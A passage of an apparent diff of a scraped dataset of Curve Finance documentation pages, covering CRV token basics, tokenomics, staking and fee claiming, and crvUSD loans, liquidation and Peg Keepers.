and ETH). These pools are sufficiently different to justify their own section: Where can I find Curve smart contracts? Here: https://www.curve.fi/contracts The Github repository also open sources the bulk of Curve development activity. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Claiming trading fees", - "html_url": "https://resources.curve.fi/crv-token/claiming-trading-fees/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees Claiming trading fees Table of contents Swapping 3CRV for a stable coin How does it all work? $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Swapping 3CRV for a stable coin How does it all work? Home $CRV Token Claiming trading fees Users who stake $CRV can claim trading fees as often as you'd like, but fees will only be converted into 3CRV once a week. To claim your fees, visit https://curve.fi/#/ethereum/dashboard and click the blue \"Claim LP Rewards\" button. If you are using the classic UI please visit: https://classic.curve.fi/ and look for the green \"Claim\" button in the box labeled \"veCRV 3pool LP claim\" at the bottom of the page. Every time a trade takes place on Curve Finance, 50% of the trading fee is collected by the users who have vote locked their CRV. Every week, fees are collected from the pools, converted to 3CRV and distributed. There is a delay before you can first claim your 3CRV after locking. It takes 8 days from the Thursday after which you lock before you can claim. Understanding $CRV Swapping 3CRV for a stable coin If you would like to withdraw your 3CRV back into a stable coin, you can head to https://curve.fi/#/ethereum/pools/3pool/withdraw , select the stable you would like to receive (optional) and click \" Withdraw \". After confirming your transaction, you will then receive 3CRV. How does it all work? When the burn is triggered, a contract collects all trading fees from all the swap pool contracts. Those fees come in dozen of different stable coins, tokenized Bitcoin and Ethereum flavours. The fee tokens are traded into USDC using Curve and Synthetix, which is then deposited to 3Pool. Finally, the burner creates a checkpoint which updates all the claimable balance of each veCRV holder. Burning is an expensive process, as it involves many complex transactions, but anyone can trigger the process whenever they wish if they are willing to pay for it. Fees may only be claimed for the week that has already passed, because the burner does not know how much everyone is entitled to before the end of the period. Fees will be available on a weekly basis within 24 hours after Thursday midnight UTC, as long as someone (usually the Curve team) has initiated the burn prior to that. Technical users can review the burner contracts here: https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/burners The following script may be used to initiate the burn process: https://github.com/curvefi/curve-dao-contracts/blob/master/scripts/burners/claim_and_burn_fees.py 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "CRV Basics", - "html_url": "https://resources.curve.fi/crv-token/crv-basics/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Basics Table of contents What is the purpose of $CRV? How to get $CRV? Where can I find the release schedule? What is the current circulating supply? What is the utility of $CRV? What is $CRV vote locking? CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents What is the purpose of $CRV? How to get $CRV? Where can I find the release schedule? What is the current circulating supply? What is the utility of $CRV? What is $CRV vote locking? Home $CRV Token CRV Basics What is the purpose of $CRV? The main purposes of the Curve DAO token are to incentivise liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. How to get $CRV? Liquidity providers on the Curve platform receive $CRV for providing liquidity. This ensures the protocol continues offering low fees and extremely low slippage. Where can I find the release schedule? You can find the release schedule for the next six years at this address: https://dao.curve.fi/inflation What is the current circulating supply? The current circulating supply can be found at this address: https://dao.curve.fi/inflation What is the utility of $CRV? $CRV is a governance token with time-weighted voting and value accrual mechanisms. You can find out what to do with $CRV by clicking below: Understanding $CRV What is $CRV vote locking? One of the most important incentive to holding CRV is the vote locking boost. Each liquidity provider can increase their daily CRV rewards by vote locking CRV. You can vote lock your CRV at this address: https://dao.curve.fi/locker 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "CRV Tokenomics", - "html_url": "https://resources.curve.fi/crv-token/crv-tokenomics/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics CRV Tokenomics Table of contents Supply Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Supply Home $CRV Token CRV Tokenomics $CRV officially launched on the 13 th of August 2020. The main purposes of the Curve DAO token are to incentivise liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. Supply The total supply of 3.03b is distributed as such: 62% to community liquidity providers 30% to shareholders (team and investors) with 2-4 years vesting 3% to employees with 2 years vesting 5% to the community reserve The initial supply of around 1.3b (~43%) is distributed as such: 5% to pre-CRV liquidity providers with 1 year vesting 30% to shareholders (team and investors) with 2-4 years vesting 3% to employees with 2 years vesting 5% to the community reserve The circulating supply will be 0 at launch and the initial release rate will be around 2m CRV per day. Full release schedule here: https://dao.curve.fi/releaseschedule 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Staking your CRV", - "html_url": "https://resources.curve.fi/crv-token/staking-your-crv/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Staking your CRV Table of contents Locking your $CRV Claiming your trading fees How to calculate the APY for staking CRV? Further Reading Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Locking your $CRV Claiming your trading fees How to calculate the APY for staking CRV? Further Reading Home $CRV Token Staking your CRV Starting on the 19 th of September 2020, 50% of all trading fees are distributed to veCRV holders . This is the result of a community-led proposal to align incentives between liquidity providers and governance participants (veCRV holders). Collected fees will be used to buy 3CRV (LP token for 3Pool) and distribute them to veCRV holders. This currently represents over $15M in trading fees per year. veCRV stands for vote escrowed $CRV, they are $CRV vote locked in the Curve DAO. Vote Locking You can also lock $CRV to obtain a boost on your provided liquidity. Boosting your CRV Rewards Video about how to stake $CRV: https://www.youtube.com/watch?v=8GAI1lopEdU Locking your $CRV Once you know how much and how long you wish to lock for, visit the following page: https://dao.curve.fi/locker Enter the amount you want to lock and select your expiry. Remember locking is not reversible. The amount of veCRV received will depend on how much and how long you vote for. You can extend a lock and add $CRV to it at any point but you cannot have $CRV with different expiry dates. Claiming your trading fees Claiming Trading Fees How to calculate the APY for staking CRV? The formula below can help you calculate the daily APY: $$ \\frac{DailyTradingVolume * 0.0002 * 365}{TotalveCRV * CRVPrice} * 100 $$ Further Reading https://www.stakingrewards.com/earn/curve-dao-token/ 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding CRV", - "html_url": "https://resources.curve.fi/crv-token/understanding-crv/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV Understanding CRV Table of contents Staking (trading fees) Boosting Voting The CRV Matrix CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Staking (trading fees) Boosting Voting The CRV Matrix Home $CRV Token Understanding CRV The main purposes of the Curve DAO token are to incentivise liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. Currently CRV has three main uses: voting, staking and boosting. Those three things will require you to vote lock your CRV and acquire veCRV. veCRV stands for vote-escrowed CRV, it is simply CRV locked for a period of time. The longer you lock CRV for, the more veCRV you receive. Staking (trading fees) CRV can now be staked (locked) to receive trading fees from the Curve protocol. A community-lead proposal introduced a 50% admin fee on all trading fees. Those fees are collected and used to buy 3CRV, the LP token for the TriPool, which are then distributed to veCRV holders. Staking your $CRV Calculating Yield Boosting One of the main incentive for CRV is the ability to boost your rewards on provided liquidity. Vote locking CRV allows you to acquire voting power to participate in the DAO and earn a boost of up to 2.5x on the liquidity you are providing on Curve. Boosting your CRV Rewards Voting Once CRV holders vote-lock their veCRV, they can start voting on various DAO proposals and pool parameters. Proposals The CRV Matrix The table below can help you understand the value add of veCRV. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "crvUSD FAQ", - "html_url": "https://resources.curve.fi/crvusd/faq/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ crvUSD FAQ Table of contents General What is crvUSD and how does it work? How does the crvUSD liquidation process differ from other debt-based stablecoins? How is crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has crvUSD been audited? Can I see the code? Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents General What is crvUSD and how does it work? How does the crvUSD liquidation process differ from other debt-based stablecoins? How is crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has crvUSD been audited? Can I see the code? Home $crvUSD crvUSD FAQ General What is crvUSD and how does it work? crvUSD refers to a dollar-pegged stablecoin, which may be minted by a decentralized protocol developed by Curve Finance. Users can mint crvUSD by posting collateral and opening a loan within this protocol. How does the crvUSD liquidation process differ from other debt-based stablecoins? crvUSD uses an innovative mechanism to reduce the risk of liquidations. Instead of instantly triggering a liquidation at a specific price, a users collateral is converted into stablecoins across a smooth range of prices. Simulations suggest most price drops would result in the loss of just a few percentage points worth of collateral value, instead of the instant and total loss implemented by the liquidation process common to most debt-based stablecoins. How is crvUSD pegged to a price of $1? The crvUSD peg is broadly protected by the fact that the protocol is always overcollateralized. The protocol employs a number of stabilization mechanisms to fine-tune this peg. One mechanism is to automatically adjust borrow rates based on supply and demand. The protocol also relies on Peg Keepers (see below section), which are authorized to burn or mint crvUSD based on market conditions. Can other types of collateral be proposed for crvUSD? How does that process work? Yes, other collateral markets can be proposed for crvUSD through governance. Contact the community support channels for additional information on the current process to propose new collateral types. Each approved collateral has its own crvUSD market. Liquidation Process What is my liquidation price? At the start of the crvUSD loan process, collateral is deposited and equally distributed over a range of prices, not just a single liquidation price. Should the price fall within this range, the collateral begins its conversion into crvUSD. This process aids in maintaining the loan's health and, under most conditions, wards off liquidation. As a result, there isn't one specific liquidation price. When depositing collateral, how do I adjust and select my collateral deposit price range? The price range can be optionally adjusted and customized during the initial loan creation process. In the UI, the advanced mode toggle provides further insights into this range. It also presents an Adjust button, enabling users to fine-tune their preferred price range. What happens when the collateral price drops into my selected range? (soft-liquidation) Each crvUSD market is linked to an Automated Market Maker (AMM). If the collateral price falls into the selected range, this collateral becomes tradable in the AMM. At this juncture, traders have the opportunity to acquire the collateral, substituting it with crvUSD. Consequently, the loan becomes collateralized by stablecoins, known for their more reliable value retention, contributing to the sustained health of the loan. What happens if the collateral price recovers? (de-liquidation) As the collateral price increases, the aforementioned process reverses. The position undergoes trading through the AMM, transitioning from crvUSD back to the original form of collateral. Owing to AMM trading fees, it's typical for a slight percentage of the original collateral value to be diminished once the collateral price surpasses the upper limit of the predetermined liquidation range. Under what circumstances can I be liquidated? (hard-liquidation) Should a loan's health drop below 0%, it becomes eligible for liquidation. In this scenario, the collateral is sold off, and the position closes. Although the crvUSD collateral conversion mechanism within the AMM is designed to protect against liquidations, it might not keep up with severe price fluctuations. It is advisable for borrowers to maintain their loan health, especially when prices fall within the selected liquidation range. How do I maintain my loan health if collateral price drops into my range? When the collateral price falls into the liquidation range, adding new collateral to protect loan health is not permitted. Within this liquidation range, loan health can only be improved by repaying crvUSD. Even minimal crvUSD repayments can be effective in preventing liquidation while the collateral price resides within this range. What happens to the collateral in the event of hard liquidation? In the event of a hard liquidation, all available collateral is sold off by the AMM system, the debt is covered, and the loan is closed. What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? The 'liquidation discount' is calculated based on the collateral's market value and is designed to incentivize liquidators to participate in the liquidation process. This factor is used to effectively discount the collateral valuation when calculating the health for liquidation purposes. In other protocols, this may be referred to as a liquidation threshold and is often hard-coded instead of calculated dynamically. Peg Keepers What are Peg Keepers? The Peg Keepers are contracts uniquely enabled to mint and absorb debt in crvUSD for the purposes of trading near the peg. Under what circumstances can the Peg Keepers mint or burn crvUSD? Each Peg Keeper targets a specific Peg Keeper pool . A Peg Keeper pool is a Curve v1 pool allowing trading between crvUSD and a blue chip stablecoin. The Peg Keepers are responsible for trying to balance these pools by trading at a profit. The Peg Keepers can only mint crvUSD to trade into their associated pools when its pool balance of crvUSD is too low, or it can repurchase and burn the crvUSD if its pool balance is too high. What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? A Peg Keeper's debt is the amount of crvUSD it has deposited into a specific pool. Total debt in crvUSD includes all outstanding crvUSD that has been borrowed across the system. What does it mean if the Peg Keeper's debt is zero? If a Peg Keeper's debt is zero, it means that the Peg Keeper has no outstanding debt in the crvUSD system. How does Peg Keeper trade and distribute profits? Every Peg Keeper has a public update function. If the Peg Keeper has accumulated profits, then a portion of these profits are distributed at the behest of the user who calls the update function, in order to incentivize distributed trading in the pools. To access this information on Etherscan, one can visit the LLAMMA details on the crvUSD UI within any market. By clicking the Monetary Policy link, users are directed to Etherscan. There, under the Contract tab, they should select the Read Contract tab. Function 6 (peg_keepers) requires the index value of the market of interest, ranging from 0 to n-1, where n represents the number of crvUSD markets. After entering this index and clicking on the returned link, users should repeat the process by selecting Contract and Read Contract. This time, they access function 6 (estimate_caller_profit) to understand the minimum tokens receivable. For function execution, the Write Contract tab must be selected, a wallet connected, and function 1 (update) called. Borrow Rate What is the Borrow Rate? The Borrow Rate is the variable interest rate charged on active loans within each collateral market. How is the crvUSD Borrow Rate calculated? The Borrow Rate for each crvUSD collateral market is calculated based on a series of parameters, including the Peg Keeper's debt, the total debt, and the market demand for borrowing. Safety and Risks What are the risks of using crvUSD As with all cryptocurrencies, crvUSD carries several risks, including depeg risks and risk of liquidation of a users collateral. Make sure to read the disclaimer and exercise caution when interacting with smart contracts. How can I best manage my risks when providing liquidity or borrowing in crvUSD? Best risk management practices include maintaining a safe collateralization ratio, understanding the potential for liquidation, and keeping an eye on market conditions. Has crvUSD been audited? Yes, please read the full crvUSD MixByte audit and other audits for Curve may be published to Github . Can I see the code? The code is publicly available on the Curve Github . 2023-10-18 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": " ", - "html_url": "https://resources.curve.fi/crvusd/loan-creation/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Creation & Management Table of contents Loan Creation Loan Management Leveraging Loans Deleveraging Loans Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Loan Creation Loan Management Leveraging Loans Deleveraging Loans Home $crvUSD Loan Creation In standard mode, creating a loan with crvUSD involves setting the amount of collateral asset to be added and the quantity of crvUSD desired for borrowing. Once the collateral amount is determined, the UI displays the maximum sum available for borrowing, along with the health and borrow rate. The UI includes a dropdown to see additional loan parameters like the current Oracle Price and Borrow Rate . In the upper right-hand side of the screen, there is a toggle for advanced mode. The advanced mode adds an additional display with more information about the current distribution across all the bands within the entire LLAMMA . It also enhances the loan creation interface by displaying the liquidation and band range, number of bands, borrow rate, and Loan to Value ratio (LTV). Additionally, users can manually select the number of bands for the loan by pressing the \"adjust\" button and using the slider to increase or decrease the number of bands. Tip A higher number of bands results in fewer losses when the loan is in soft-liquidation mode, see here . The maximum number of bands is 50, while the minimum is 4. Loan Management Everything needed to manage a loan is available in this interface. The features include: Loan This tab provides options to Borrow more crvUSD, Repay debt, or Self-Liquidate a loan Collateral Options to add or remove collateral from a loan are available here. Deleverage This tab facilitates loan deleveraging. Find more details here . Info During soft-liquidation, users are unable to add or withdraw collateral. They can choose to either partially or fully repay their crvUSD debt to improve their health ratio or decide to self-liquidate their loan if their collateral composition contains sufficient crvUSD to cover the outstanding debt. If they opt for self-liquidation, the user's debt is fully repaid and the loan will be closed. Any residual amounts are then returned to the user. Leveraging Loans The UI offers a leveraging feature for loans, accessible by navigating to the 'Leverage' tab. More infomation on how to deleverage a loan here . Info Collateral can be leveraged up to 9x, depending on the number of bands chosen. If a user wants to use the maximum leverage (9x), they loan will have the minimum number of bands (4). Using the highest number of bands (50) only allows for a leverage of up to 3x. For the consequences of using different numbers of bands, see here . The process of leveraging effectively involves repeat trading of crvUSD for collateral and depositing it to maximize the collateral position. Essentially, all borrowed crvUSD is utilized to acquire more collateral. Caution is advised, as a dip in the collateral price would necessitate repaying the entire amount to reclaim the initial position. Here is a good explainer on how leveraging works. Toggling the advanced mode expands the display to show additional information about the loan, including the price impact, trade route and the actual leverage. Deleveraging Loans Deleveraging a loan irrespective of it being leveraged is an option available through the UI. Users must navigate to the 'Deleverage' tab and input the amount of collateral they intend to allocate for deleveraging. This particular collateral is then converted into crvUSD, which is used to facilitate debt repayment. Info When a user's loan is in soft liquidation, deleveraging is only possible if the loan is fully repaid. Apart from that, the loan can typically be self-liquidated. If the position is not in soft liquidation, the user can deliberately deleverage by any chosen amount. The UI will provide the user with their updated loan details, such as liquidation and band range, borrow rate, and health, as well as the LLAMMA changes of collateral and debt. 2023-10-25 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Loan Details & Concepts", - "html_url": "https://resources.curve.fi/crvusd/loan-details/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts Loan Details & Concepts Table of contents Loan Details Loan Parameters crvUSD Concepts Bands Borrow Rate Liquidation LLAMMA Loan Health crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Loan Details Loan Parameters crvUSD Concepts Bands Borrow Rate Liquidation LLAMMA Loan Health Home $crvUSD Loan Details & Concepts The Loan Details page displays information pertinent to an individual loan, along with features necessary for loan management. Loan Details When a user creates a loan, their collateral is allocated across a range of liquidation prices. Should the asset price fall within this range, the loan will enter soft-liquidation mode. In this state, the user is not allowed to add additional collateral. The only recourse is to either repay with crvUSD or to self-liquidate the loan. Additional displays provide information about the entire LLAMMA system, showing aspects such as the total amount of debt, along with individual wallet balances. On the upper right-hand side of the screen, switching to advanced mode provides additional details about the loan. In advanced mode the UI changes to show more information about the collateral bands . Advanced mode also adds a tab with more info about the entire LLAMMA . Loan Parameters A: The amplification parameter A defines the density of liquidity and band size. Base Price: The base price is the price of the band number 0. Oracle Price: The oracle price is the current price of the collateral as determined by the oracle. The oracle price is used to calculate the collateral's value and the loan's health. Borrow Rate: The borrow rate is the annual interest rate charged on the loan. This rate is variable and can change based on market conditions. The borrow rate is expressed as a percentage. For example, a borrow rate of 7.62% means that the user will be charged 7.62% interest on the loan's outstanding balance. crvUSD Concepts Bands When loans are created, collateral is spread among several bands. Each band has a range of prices for the asset. If the price oracle is inside this range of prices, that particular band of collateral is likely to be liquidated. Info The number of bands has a significant influence on the amount of losses when a loan is in self-liquidation. See here . In the example above, the collateral is distributed into 10 distinct bands. The darker grey indicates collateral that has been converted into crvUSD, while the lighter grey represents the original collateral type. Hovering over any bar reveals details about that specific position within the band, including the corresponding asset prices. During soft liquidation, a band may exhibit a mix of crvUSD and the original collateral. Borrow Rate The borrow rate is variable basd on conditions in the pool. For instance, when collateral price is down and some positions are in soft liquidation, the rate can fall. A decreasing rate creates incentive to borrow and dump, while an increasing rate creates incentives to buy crvUSD and repay. The formula for calculating borrow rate and a cool tool to play around can be found here . Liquidation In soft liquidation, the collateral within a band is at risk of being converted into crvUSD. If the price goes back, it will be rehypothecated into collateral, although it will likely be lower than the initial amount. While in soft liquidation mode, users cannot modify their collateral. The only options available are to either partially or fully repay the debt or opt to self-liquidate the position. If a borrower's health continues to decline, they may face a 'hard liquidation,' functioning more like a standard liquidation process, resulting in the erasement of their position. LLAMMA LLAMA (Lending Liquidation AMM Algorithm) is a fully functional AMM with all the functions a user would expect. For more detail please check the source code . Loan Health Based on a users collateral and borrow amount, the UI will display the Health score and status. If the position is in self-liquidation mode, an additional warning will be displayed. Once a loan reaches 0% health, the loan is eligible to be hard-liquidated. Warning The health of a loan decreases when the loan enters self-liquidation mode, and collateral prices change. These losses do not occur only when prices go down but also when the collateral price rises again, resulting in the de-liquidation of the user's loan. This implies that the health of a loan can decrease even though the collateral value of the position increases. If a loan is not in self-liquidation mode, then no losses occur. Losses also heavily depend on the number of bands used; the more bands there are, the fewer the losses. 2023-10-25 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Markets", - "html_url": "https://resources.curve.fi/crvusd/markets/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool 